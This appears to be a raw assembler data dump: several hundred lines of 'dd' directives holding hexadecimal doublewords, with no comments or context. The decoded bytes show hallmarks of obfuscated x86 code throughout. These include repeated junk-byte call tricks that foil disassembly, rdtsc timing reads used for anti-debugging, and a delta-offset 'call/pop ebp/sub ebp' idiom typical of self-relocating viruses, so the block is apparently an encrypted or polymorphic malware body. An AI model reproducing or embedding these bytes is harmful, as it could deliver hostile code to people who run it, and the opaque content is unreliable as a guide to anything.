		dd 9D8BFEFFh, 62802CDh,	4C449589h, 0B5895F4Ch, 628210Dh
		dd 0E9h, 0B6B58D00h, 89062C63h,	28185595h, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 5E99C351h, 0D7B95EF5h, 0ED2FB300h, 2C3DBD8Bh, 95FF0628h
		dd 6280465h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0A1C35545h, 0F15BD874h,	0BD8B1C80h, 6280BE5h, 9E9h
		dd 99BC4D00h, 8F862381h, 0D2B9D983h, 6A00000Fh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0D0BFC357h, 0B50960DBh, 6280165h, 61D2B70Fh,	6AFCE183h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 60D3C356h, 61C18B66h, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 1A852F3Bh
		dd 1FCE6CBBh, 0DB816614h, 5CB38D8Dh, 0BAC02Bh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0F324C356h, 2BDAA768h, 22218589h,	33AD0628h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0D98BADC3h, 21BD8B60h
		dd 8B06282Fh, 2810C98Dh, 880D6106h, 60000000h, 97AAE681h
		dd 81666F7Fh, 618758DFh, 715958Bh, 8B660628h, 0BD8D8BDAh
		dd 8B062821h, 280F059Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B1E2C356h,	8FD1DC80h
		dd 5E924h, 4050000h, 6642F9A8h,	0BEA7D781h, 25A1BD83h
		dd 0F000628h, 7B84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FEA6AE3h, 285h, 0B8DBB700h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0A9C35141h
		dd 6E8D8D28h, 2906284Fh, 283495B5h, 6AE1FF06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F3CC351h, 9D2BF9B7h, 6281F15h, 113DBD83h, 0F000628h
		dd 3EA84h, 35BD0900h, 83062800h, 28113DBDh, 840F0106h
		dd 3F2h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0F3C35545h, 0EEE3CC28h,	120A917h, 29B589h, 0BD830628h
		dd 628113Dh, 85860F03h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0CECEC350h
		dd 20A3C49h, 0BD89C514h, 62804E1h, 19BD8B60h, 66062809h
		dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0CFB73C3h, 59212533h, 80F3299Bh, 0BD2304E1h
		dd 62818F9h, 6870Fh, 0EF810000h, 5AB24B7h, 840FC90Ah, 111h
		dd 6E9h, 22487400h, 8B03A10Dh, 2824C985h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 1F6C1A3Ch, 0BD8B0A22h, 6280469h, 2D058533h, 6A0628h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 90B5B5C3h, 0D002BB50h, 6A9076ACh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0F631C352h
		dd 0FC5D38Ah, 0C0A9779Bh, 6769D381h, 95097FDFh,	62820E5h
		dd 6A006AF9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 4B4EC350h, 52F03BA5h, 65DB589h
		dd 2D680628h, 50493E29h, 66310F52h, 585AF88Bh, 0D2243481h
		dd 8A49212Ah, 6D95FFD9h, 51062817h, 6E9h, 0DE717300h, 5BC9A193h
		dd 0A3FD8589h, 6A062Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 8624C6C3h, 16FE9h, 0F5858B00h, 6A062BA3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 640EC352h, 7D18D026h, 11E96E7Ah, 36000000h
		dd 0F75116A1h, 0D6963EDCh, 0C6B190A6h, 4694A05h, 1800C7h
		dd 0DE90000h, 79000000h, 445FD6F1h, 0B1DD025Dh,	53E05169h
		dd 0A3F9B58Bh, 0BD8B062Bh, 62802E1h, 2B65858Bh,	9D310628h
		dd 6280E59h, 9D8B0689h,	6280381h, 24C9858Bh, 6A0628h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 16BEC3h, 0FCF60BB8h,	4468943h, 1F98D89h, 0E8500628h
		dd 9, 4D8F7BDh,	0C0C4425Dh, 5ABF6650h, 34895B2Ch, 0A9BD8B24h
		dd 0FF062811h, 2BA3F5B5h, 0FAB70F06h, 229DBD89h, 45680628h
		dd 50C811CAh, 4800F52h,	66000000h, 0F33F5BFh, 5A25B731h
		dd 24048158h, 380D39BAh, 175D8D29h, 81660628h, 8D51F1F3h
		dd 2BA3FD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0EB885BE1h, 6670C889h, 5050C2BFh
		dd 10E9h, 89F37300h, 0BF265D40h, 6C46973Eh, 0A5E94ABh
		dd 2404897Ch, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	6C35747h, 2CF8049h, 176D95FFh, 8D890628h, 6281F2Dh
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 14288BEBh, 0F9BA5EBh, 9D2BF8BFh,	62817C5h
		dd 113D85C7h, 30628h, 83F80000h, 2BA3FDBDh, 840F0006h
		dd 4Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 3FC35343h, 0F2B6AE79h, 89E05C2Bh, 2803DDBDh,	38E9FC06h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0E65AC355h, 110C3050h,	1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0E8C08B00h, 6, 0DFD04310h
		dd 5BF9B26Ch, 83F9BF0Fh, 28113DBDh, 850F0306h, 406h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 72C35141h, 77B75984h
		dd 0A3FDBD83h, 0F00062Bh, 3D984h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B70FD095h
		dd 0FDB5FFDFh, 0F062BA3h, 148Eh, 0FE900h, 8D500000h, 3BB9AA08h
		dd 0FB78C1D4h, 74AB0C93h, 9595FF6Ah, 8906280Eh,	28182D95h
		dd 0F1B58B06h, 6A062BA3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 3495C357h, 85093235h
		dd 6280D49h, 2EB59501h,	6C70628h, 10001h, 26D98529h, 66500628h
		dd 89FBEDBFh, 5B522434h, 4850Fh, 0BF660000h, 0B5FFDB69h
		dd 62BA3FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	7EC35343h, 0BD89D546h, 6282D61h, 201995FFh, 6A0628h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F02B76C3h, 4880Fh, 0BB660000h, 0B58BCF13h, 62BA3F1h
		dd 7810Fh, 800F0000h, 1, 79B356F8h, 0D5858B5Bh,	53062817h
		dd 2F01B589h, 895F0628h, 0C486h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0B788B999h
		dd 8880F34h, 51000000h,	1F499D8Bh, 8B5B0628h, 28071595h
		dd 0AE906h, 52890000h, 0FB828D52h, 0FEFBF5Dh, 0B57723BFh
		dd 4C28375h, 896EF380h,	6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0ED8A50C3h, 8BBE330Fh
		dd 4810FDEh, 66000000h,	8D00C2BFh, 2BB8D985h, 9E906h, 5BD80000h
		dd 9F1C80F1h, 895493E3h, 0B886h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 870F5F77h
		dd 6, 2F4DBD8Bh, 6A0628h, 29D1B589h, 0B5FF0628h, 62BA3FDh
		dd 0F1D9D29h, 95FF0628h, 6282CD1h, 11E9h, 3D660200h, 9768030Fh
		dd 96D32DC0h, 0EA8F7751h, 5196252Dh, 505FFE8Bh,	759D2996h
		dd 0FF062817h, 2BA3FDB5h, 0BD8D3106h, 81062829h, 0A0E21DFh
		dd 0B995FF75h, 6A062829h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0A730C352h,	34DFE812h
		dd 5E9C9F7h, 0C000000h,	0A226D616h, 0C55BD83h, 0F000628h
		dd 5784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0D59D8BC1h, 9606280Ch, 6050FA8Bh
		dd 0DE8BC68Bh, 6A9661h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 320C4CC3h, 0C4204663h, 1830F2Eh
		dd 0FC000000h, 0A3FDB5FFh, 6A062Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 2191F1C3h
		dd 228595FFh, 810F0628h, 3, 0FFF88B66h,	2BA3FDB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3FF10025h, 5C2CB905h, 0C195FF13h, 6A062810h,	3E85600h
		dd 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0DD9BC356h,	0BD83FB8Bh
		dd 6281861h, 4F840F02h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 3EB4C350h
		dd 52D0003Eh, 9D2BE1B3h, 628298Dh, 890Fh, 858B0000h, 6281259h
		dd 0C6FCh, 11E9h, 71578E00h, 82443E9Ah,	0BB58FDCCh, 1D6B6AAAh
		dd 85C7D036h, 6281305h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F0C35040h
		dd 8D8B60FCh, 6282935h,	0D5E18166h, 19E961EBh, 0FFFFFF4h
		dd 0C18BD9BFh, 858DDF8Bh, 6282C05h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0D4C35242h,	0B360DADAh, 9D0B190Fh
		dd 628112Dh, 12E9h, 6DF99D00h, 0EC12C3CBh, 125EECA1h, 2AB413B9h
		dd 50B696DEh, 52505260h, 585A310Fh, 1BAB95Eh, 8961536Ah
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0CE8949C3h, 0F359C912h, 0D8BF0F0Fh, 6656006Ah
		dd 5FCF5DBBh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0A4F09DC3h, 14DC55EBh, 858D884Fh
		dd 62CFE61h, 0BB05C083h, 4CD9B50Dh, 50DC8A90h, 0BB7BF66h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0DD9D03E7h, 6A06280Eh, 0F5E78100h, 6A6A78A5h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8B66DC09h, 3195FFDFh, 66062824h,	8D8DF88Bh
		dd 62B94F3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0ABC35343h, 3E0B60C2h, 8A0FB54Bh, 19h, 14E9h, 780AF200h
		dd 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 528C9AAFh, 0A9BD89F7h
		dd 0FF062806h, 57006AD1h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 788CA801h, 0F74C069Ch
		dd 0BCEB8071h, 2415BD83h, 0F010628h, 0A185h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 1D149AA7h, 1F2D54B9h, 0F8BF0FBDh, 0B8A9D781h, 26A3BB8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F6C35141h
		dd 1246B5AEh, 0E8E2E731h, 0Bh, 0B607E62Eh, 0B8783869h
		dd 0E845A253h, 5, 3B8EB88Dh, 0D3BF6683h, 295B5FC7h, 2802758Dh
		dd 0BB665006h, 489FDBBh, 498D8924h, 0FF06280Fh,	282CD195h
		dd 0E9566006h, 6, 56D4EAA4h, 8B5A7EB5h,	2818D58Dh, 0DBE96106h
		dd 0E800000Eh, 0
		dd 6BED815Dh, 89062CFEh, 28177195h, 0D9850106h,	106280Fh
		dd 28065585h, 0B0858D06h, 6A062B85h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1CCCC357h
		dd 60525090h, 0F616160h, 0DE86031h, 0B3000000h,	73DF7D07h
		dd 1EA544E7h, 0C8310D32h, 0DE859h, 13B80000h, 0CFBE6685h
		dd 66B8B5C0h, 5F83E58Bh, 50585A61h, 5E8h, 0CC357600h, 8B66699Eh
		dd 0F905BFBh, 18Ch, 0FF64F900h,	35h, 1FE78100h,	64142041h
		dd 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 68EFC2C3h, 2CC19C3h, 8B7D0FBFh
		dd 5985FF78h, 6A062816h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 2EE1C352h, 0B27E383Fh
		dd 9BE7D0DBh, 6AE4DF80h, 10BF66FFh, 85B5FFB0h, 0E906281Eh
		dd 13h,	9563D742h, 0F8EA206Ch, 9151A88Ch, 9BB0EB81h, 0FF11CCF6h
		dd 282DC195h, 129E906h,	31560000h, 2814899Dh, 0B05B06h
		dd 29419D8Bh, 70E60628h, 1965BD8Bh, 71E40628h, 2334CF81h
		dd 613C6228h, 101830Fh,	0BD8B0000h, 6282E85h, 66C8B60Fh
		dd 5C98CF81h, 6BAh, 31BD8B00h, 8B062823h, 0DE9C1h, 0BEEF0000h
		dd 0BB80016h, 9C43FCF6h, 0C1533EE3h, 0C78104E8h, 1CEAEA52h
		dd 0FE2F766h, 198Dh, 13860F00h,	0E8000000h, 0Dh, 0C49033A9h
		dd 7879D19Eh, 38823843h, 0C82B5F2Bh, 0AE9h, 8FD57D00h
		dd 0A6D3BD58h, 8B7BA58Bh, 8A5ABBD1h, 8CE951E9h,	29000000h
		dd 28322185h, 50858B06h, 8947554Ch, 280111B5h, 7C08306h
		dd 3CB901BFh, 0C0837Dh,	0AE9h, 15A1A700h, 24BA5261h, 3B0A2F7Ah
		dd 1F830FD0h, 8B000000h, 2818319Dh, 4DE906h, 0F600000h
		dd 683h, 0F1B58B00h, 0B062819h,	280DD98Dh, 8D8B6106h, 0FFFFFFFFh
		dd 19999D31h, 0E1830628h, 24840F01h, 66000000h,	0BD89F98Bh
		dd 62801D5h, 0FFFFA583h, 56FEFFFFh, 95895FF9h, 47554C50h
		dd 19519509h, 0E90628h,	8D000000h, 2C78ABB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 71F15A1Ah, 1F510EECh, 12E9B1h, 0EA1E0000h, 0A302F356h
		dd 8163E3EFh, 0B0F705C5h, 5959BF37h, 4BE4F381h,	6A1A20h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D6C35141h
		dd 0C6ED0B85h, 7272A449h, 11E9E0h, 9D420000h, 228DF298h
		dd 9C91D2A0h, 5DE860E9h, 0FF70FA1Eh, 28046595h,	8D236006h
		dd 6280851h, 599D8B61h,	0B906282Dh, 0E97h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9EC35747h, 0A4BB9263h
		dd 55C60194h, 16830Fh, 0E9600000h, 0Fh,	0F8570F31h, 23AEFCF3h
		dd 0FF788505h, 61814748h, 8BFCE183h, 2834CD9Dh,	810F6006h
		dd 5, 0A1D78166h, 0FE8C4h, 51D80000h, 0B168CD21h, 0EF50BC0Eh
		dd 0CA262E56h, 0D8D8B9Ah, 5F06282Fh, 6AFC61h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8916A3C3h
		dd 282221BDh, 15858906h, 2B062804h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 6C1DD919h
		dd 0F63A9E8h, 86h, 0E9D22B00h, 0Ch, 0D9402530h,	339C7326h
		dd 4B4529B5h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FEE8A60h
		dd 68Eh, 860F00h, 61000000h, 258D8960h,	66062834h, 0D61DF8Bh
		dd 88h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
		dd 27C35545h, 0F8B42962h, 1B952A6h, 2824C58Dh, 15958B06h
		dd 31062807h, 2816B585h, 0BD8D8B06h, 6A062821h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 846AC356h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 9D8B5818h, 6281461h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 32C35040h, 11929170h,	0DD8EA212h, 0F98B66A5h
		dd 0DE9h, 0F4982F00h, 4C07830h,	8761D005h, 0BD830D39h
		dd 62825A1h, 60840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0C010C350h
		dd 0B82Ch, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 2781B5C3h, 0FB3EBBBCh, 0F241329h
		dd 8Ch,	6E8D8D00h, 0FF06284Fh, 48E0FE1h, 66000000h, 833551BFh
		dd 28113DBDh, 840F0006h, 487h, 0AE9h, 9DA01300h, 790434BEh
		dd 83029FF5h, 28113DBDh, 840F0106h, 486h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 8DC35646h, 9FE2CC79h
		dd 0EB684769h, 0C9BD8BA9h, 83062805h, 28113DBDh, 860F0306h
		dd 418h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	88C35040h, 0F7434571h, 0E6DB188Eh, 719D296Ah, 60062813h
		dd 0BD0351FCh, 62803F9h, 0D98C665Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0D3C35646h,	983BF21h, 14E9h
		dd 11D44B00h, 0B056699Ch, 85B61DCh, 37A58FD8h, 7ADD951Ah
		dd 8880FCEh, 56000000h,	1F559589h, 805F0628h, 816004E1h
		dd 33EB41C6h, 9D336006h, 6282925h, 262D8D8Bh, 61610628h
		dd 840FC90Ah, 108h, 0EE59D8Bh, 858B0628h, 62824C9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 97C35343h, 556C58B8h
		dd 81234A37h, 0CE9h, 0A4A3B100h, 0F2F669FCh, 0EE57C56Bh
		dd 58533E3h, 0E906282Dh, 0Fh, 0F2C55C7Eh, 0B82F18h, 224B3D8Ah
		dd 9039D3BEh, 50F98B66h, 0DB5B2FBFh, 6A9004h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 5DB4DC3h
		dd 66873A0Dh, 5CE9DB81h, 1ED9D8Bh, 6A0628h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1DC35545h, 68502B96h
		dd 0BEDE6392h, 8490BF66h, 6D240481h, 8B4140A0h,	28043D9Dh
		dd 6D95FF06h, 66062817h, 9D8BD98Bh, 628332Dh, 0A3FD8589h
		dd 8B50062Bh, 280F15BDh, 0EDE95B06h, 6A000001h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F5B6C351h, 0A3F5858Bh, 8B60062Bh, 280499B5h, 0BD9D3106h
		dd 61062823h, 1800C7h, 81660000h, 8B1E52E7h, 2BA3F9B5h
		dd 0CCBB6606h, 65858BECh, 6A06282Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E81DC357h
		dd 6, 0EADD4553h, 0FE9FF13h, 21000000h,	93693310h, 0FB1F3BBAh
		dd 6B09BE18h, 295B3AAAh, 282469BDh, 6860F06h, 81000000h
		dd 0F44782E3h, 0E9068908h, 6, 8F9BC7D4h, 0AE9094Eh, 0E2000000h
		dd 0D07B1D8Eh, 30515947h, 0C9858B5Fh, 0F062824h, 38Eh
		dd 0DEBF0F00h, 6A044689h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0BD1AC350h,	6B3C38EDh
		dd 0D49E51DFh, 19859589h, 0B7960628h, 7E8503Fh,	67000000h
		dd 906DDC5Ch, 5250A8FEh, 810Fh,	310F0000h, 5ADA8B66h, 0E9965F58h
		dd 0Ch,	15FF9BFh, 0C4C6BE9Fh, 0FE610904h, 0A3F5B5FFh, 6A062Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 71B77BC3h, 9D29D9FAh, 6282E85h, 0C1D9589h, 0D3800628h
		dd 7E3C68E0h, 6E9A851h,	27000000h, 165DF0CCh, 24048125h
		dd 57CD85C3h, 8D89DE8Bh, 62803C5h, 0A3FD858Dh, 0AE9062Bh
		dd 0DD000000h, 1E05529Ah, 0F267A892h, 800F5072h, 9, 0BA585360h
		dd 3DC49F9Dh, 24048961h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 53C35646h, 95FF7E36h,	628176Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 40C35646h, 567BABD1h
		dd 8D936AA2h, 0DA8B6619h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0D0B60C90h
		dd 0E9522E48h, 0Eh, 0CE18EBE9h,	2E6FCF33h, 0B0FD345Dh
		dd 0C75F3BBDh, 28113D85h, 306h,	0DBB70F00h, 0A3FDBD83h
		dd 0F00062Bh, 4F84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0FE421FCCh, 80A4676Ah
		dd 0E93BB709h, 3Fh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 24C35141h, 0C94B32C4h, 0BA1E9D40h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0A7C6C357h, 3D5B14D8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 9DC35343h, 1314507Bh,	83FAB761h, 28113DBDh
		dd 850F0306h, 468h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 4CC35343h, 998C5703h,	1536DB1h, 0A3FDBD83h
		dd 0F00062Bh, 43784h, 6830F00h,	9000000h, 2817F99Dh, 0FDB5FF06h
		dd 0E9062BA3h, 0Eh, 0E0D2A969h,	383034CAh, 0EB5B3A69h
		dd 95FFE412h, 6280E95h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 8C35040h, 0E1534D85h,	11E8h, 51341100h
		dd 89F59B05h, 0D454BAE2h, 5C8A69A8h, 9D89B411h,	6281A59h
		dd 0F1B58B5Bh, 6A062BA3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 19CBC350h, 363FCC04h
		dd 6C7DF8Bh, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F5C35545h, 56D71F07h, 0CBD97FE6h, 0DABF0F7Fh
		dd 0AE9h, 0B5FCF000h, 0D6E4F4DCh, 664A4914h, 96AB91BFh
		dd 0AE95250h, 0B8000000h, 142CB156h, 9025C0DFh,	0E9310F66h
		dd 12h,	85D5D31Ah, 17A2E588h, 5A4BF58Dh, 0CD2151D8h, 585AB168h
		dd 0F525050h, 287h, 0F5F5000h, 5AFD8A31h, 6A9658h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 5FB824C3h, 0CF8031B6h, 55BB661Ch, 0FDB5FF95h, 6A062BA3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2A08C351h, 1D499D09h, 95FF0628h, 6282019h
		dd 0B58BDD8Ah, 62BA3F1h, 8BDAB70Fh, 280521BDh, 0D5858B06h
		dd 89062817h, 28168195h, 0C4868906h, 60000000h,	0B6B3EEB8h
		dd 0C7BF0F7Ch, 15958B61h, 6A062807h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 9940C356h
		dd 0BD8B9F4Dh, 6281D25h, 4C283FCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0E4C35343h,	4292A877h, 9134D1B3h
		dd 2050892Eh, 8099D8Bh,	858D0628h, 62BB8D9h, 1393BB66h
		dd 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3D2E8FC3h, 0A0A99707h, 0E8006A53h
		dd 0Dh,	0CCB0665Fh, 5DE26A0Bh, 6EB1C880h, 2DBD8927h, 5B062824h
		dd 0A3FDB5FFh, 8166062Bh, 0FF73C5EFh, 282CD195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0E065C12Bh, 0CDA93A67h, 9D8B3FE0h, 628050Dh,	12E9h
		dd 6AD7300h, 11FD0733h,	0A93F90Bh, 1191C19Fh, 96B00397h
		dd 8B665250h, 0E9310FDFh, 10h, 0B6E1EFB1h, 513E71D3h, 8ABD06Fh
		dd 0E4465F08h, 5250585Ah, 5850Fh, 89BF0000h, 5B666F7Dh
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 7B9DB7C7h, 61131450h, 81BD8B60h,	0FF062826h
		dd 2BA3FDB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 1DA3F827h, 95FFB4BEh, 62829B9h, 55BD83F8h
		dd 6280Ch, 14840Fh, 8B660000h, 0BF6696FEh, 6650FA0Ch, 964C62BFh
		dd 10219D33h, 0B5FF0628h, 62BA3FDh, 0FFEDC780h,	28228595h
		dd 0D9B70F06h, 0FDB5FFFCh, 6A062BA3h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 1295C357h
		dd 7CF8BAFEh, 5E9F332h,	0BD000000h, 0C3F8C7ABh,	10C195FFh
		dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 16407CC3h, 352B51E2h, 2BA18589h, 83FC0628h
		dd 281861BDh, 840F0206h, 62h, 1D499D03h, 858B0628h, 6281259h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 76C35545h
		dd 4B715678h, 0D5A1E786h, 19D8B5Bh, 0C6062813h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0F61C8C3h, 59915907h, 2C3D9D8Bh, 85C70628h, 6281305h
		dd 0
		dd 0BE9h, 6B7AA00h, 0B1646F65h,	0FBF5BD72h, 0FFF266E9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 46ABB689h, 5D582F38h, 0A6590DBBh, 6AC18B0Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0E105C356h, 0E214BB66h, 858D5B57h, 6282C05h
		dd 60525090h, 8BCF8B66h, 310F61F1h, 61605250h, 6160310Fh
		dd 585A585Ah, 90F98B50h, 0C119D89h, 6A0628h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C1C35141h, 0BBFC0EF1h
		dd 66006A7Eh, 669327BBh, 8E86C381h, 0F4D858Dh, 6A062Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
